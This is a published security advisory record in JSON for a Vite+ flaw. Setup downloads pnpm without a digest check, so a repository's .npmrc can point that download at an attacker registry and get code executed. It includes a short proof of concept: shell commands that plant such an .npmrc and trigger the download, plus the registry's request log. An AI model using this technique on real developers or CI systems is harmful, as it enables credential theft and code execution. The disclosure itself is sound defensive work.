{"id":"CVE-2026-137191","aliases":["CVE-2026-137191","GHSA-5qr3-w62x-jmwx"],"related":[],"kind":"vulnerability","state":"published","title":"Vite+: Code Execution via an Unverified Package Manager Download from a Repository-Named Registry","summary":"Vite+ is a unified toolchain and entry point for web development. From 0.2.9 until 1.5.1, the global vp setup path downloads the pinned pnpm package manager through download_package_manager and executes it without comparing the bytes to a trusted digest. A cloned repository's .npmrc can select an attacker-controlled registry, allowing substituted pnpm bytes to run before dependency installation or build-script approval during a new installation, upgrade, or ephemeral CI setup when the manager is not already cached. The resulting code executes as the developer or build account and can read credentials and files available to that account, modify writable resources, or disrupt installs and builds. Verification of the Vite+ release archive does not cover this separate managed package-manager download. This issue is fixed in version 1.5.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vite+ is a unified toolchain and entry point for web development. From 0.2.9 until 1.5.1, the global vp setup path downloads the pinned pnpm package manager through download_package_manager and executes it without comparing the bytes to a trusted digest. A cloned repository's .npmrc can select an attacker-controlled registry, allowing substituted pnpm bytes to run before dependency installation or build-script approval during a new installation, upgrade, or ephemeral CI setup when the manager is not already cached. The resulting code executes as the developer or build account and can read credentials and files available to that account, modify writable resources, or disrupt installs and builds. Verification of the Vite+ release archive does not cover this separate managed package-manager download. This issue is fixed in version 1.5.1.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA newly installed or upgraded Vite+ downloads the pnpm build it pins for internal use and executes it without comparing any digest (CWE-494). That happens before anything else, because Vite+ installs its own dependencies first, and it takes its registry from configuration inside the project directory. One line of `.npmrc` in a cloned repository therefore makes Vite+ fetch a package manager from a server the repository author operates and run it, on a command as innocuous as `vp --version`, with no script in the repository. Execution precedes dependency installation, so build-script approval never applies.\n\n## Details\n\nThe third argument of the download call is the expected hash, and the literal absent value is passed:\n\n```rust\n    let (pnpm_dir, _, _) =\n        download_package_manager(PackageManagerType::Pnpm, PINNED_PNPM_VERSION, None)   // vp_setup/src/install.rs:294\n```\n\nTwo things turn that absent hash into code execution.\n\nFirst, the check is skipped rather than failed. The download helper compares a digest only when one is supplied, on both of its branches, so passing nothing means no comparison happens at all and the download still succeeds (`vp_pm_cli/src/request.rs:563-568`).\n\nSecond, the registry is chosen by the repository. Vite+ reads npm configuration relative to the working directory, so an `.npmrc` committed at the root of a cloned project is loaded as the project layer and applied last, which lets it win over any user or global setting. Its `registry` value is then used as given, with no scheme or host restriction (`vp_pm_cli/src/config.rs:50-112`).\n\nWhat arrives is run directly as the pinned package manager: Vite+ forms the entry-point path, builds a command around it and executes it (`vp_setup/src/install.rs:301-380`).\n\nVite+ does verify its own release archive (`vp_setup/src/lockfile.rs:128`), so the gap here is an inconsistency inside the product rather than a capability it lacks.\n\nAffected product: Vite+ (VoidZero Inc.), global `vp` command line interface, setup path\nAffected versions: 0.2.9 through 1.4.0 inclusive, confirmed on published 1.4.0 (darwin-arm64 SHA-1 `57dd1c7`, linux-x64-gnu `2344ceb`)\n\n## PoC\n\nDefault configuration, no credentials. `$REG` answers any `.tgz` with a package named `pnpm` whose `bin/pnpm.cjs` writes `$VP_POC_MARKER`. The run gets its own `HOME` and `VP_HOME`.\n\n```bash\nprintf 'registry=%s\\n' \"$REG\" > victim-repo/.npmrc\nprintf '{\"name\":\"demo-app\",\"version\":\"1.0.0\",\"private\":true}\\n' > victim-repo/package.json\n( cd victim-repo && env HOME=\"$LAB/home\" VP_HOME=\"$LAB/vphome\" \\\n    VP_POC_MARKER=\"$VP_POC_MARKER\" vp --version > /dev/null 2>&1 )\ncat \"$VP_POC_MARKER\"\n```\n\n```text\nmarker file:\nVP_SETUP_RCE_CONFIRMED\nattacker registry received:\nGET /pnpm/-/pnpm-10.34.7.tgz\n```\n\nOne request fetched the pinned archive and its entry point ran. Benign controls, one variable each: the same command in a repository with the same manifest but no `.npmrc`, and the same hostile repository against an installation that had completed setup, each wrote no marker and made no request. With the server stopped, a later run still ran the cached copy.\n\n## Impact\n\nArbitrary code execution as the developer or build account (CWE-494, with CWE-829 for the attacker-chosen origin. The attacker reads anything that account can read, including credential files and tokens, and writes anything it can write. A manager that fails denies installs and builds. Two ordinary conditions bound it: setup has not yet completed, recorded by a marker beside the binary, and the pinned manager is not already cached. Those hold for every new install, every upgrade and every ephemeral CI runner.","format":"markdown","source":"ghsa"}],"published":"2026-11-30T20:15:54.308Z","modified":"2026-12-01T01:45:03.947Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-494","CWE-829"],"affected":[{"ranges":[{"version":"< 1.5.1","status":"affected"}],"vendor":"voidzero-dev","product":"vite-plus","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.5.1"}],"ecosystem":"npm","package":"vite-plus","purl":"pkg:npm/vite-plus","source":"ghsa"}],"references":[{"url":"https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-5qr3-w62x-jmwx","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/voidzero-dev/vite-plus/pull/3400","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/voidzero-dev/vite-plus/commit/a1109777d5330fc1a818c5b23d131c3b8a2362bc","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/voidzero-dev/vite-plus/releases/tag/v1.5.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137191","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/voidzero-dev/vite-plus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-137191","url":"https://www.cve.org/CVERecord?id=CVE-2026-137191","licence":"CVE Terms of Use","modified":"2026-11-30T20:15:54.308Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5qr3-w62x-jmwx","url":"https://github.com/advisories/GHSA-5qr3-w62x-jmwx","licence":"CC-BY-4.0","modified":"2026-12-01T01:45:03.947Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-137191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137191","licence":"Public domain","modified":"2026-11-30T21:17:24.900Z"}],"updatedAt":"2026-12-01T02:27:08.736Z","epss":{"score":0.00307,"percentile":0.25328,"date":"2026-12-01T12:00:22.000Z"}}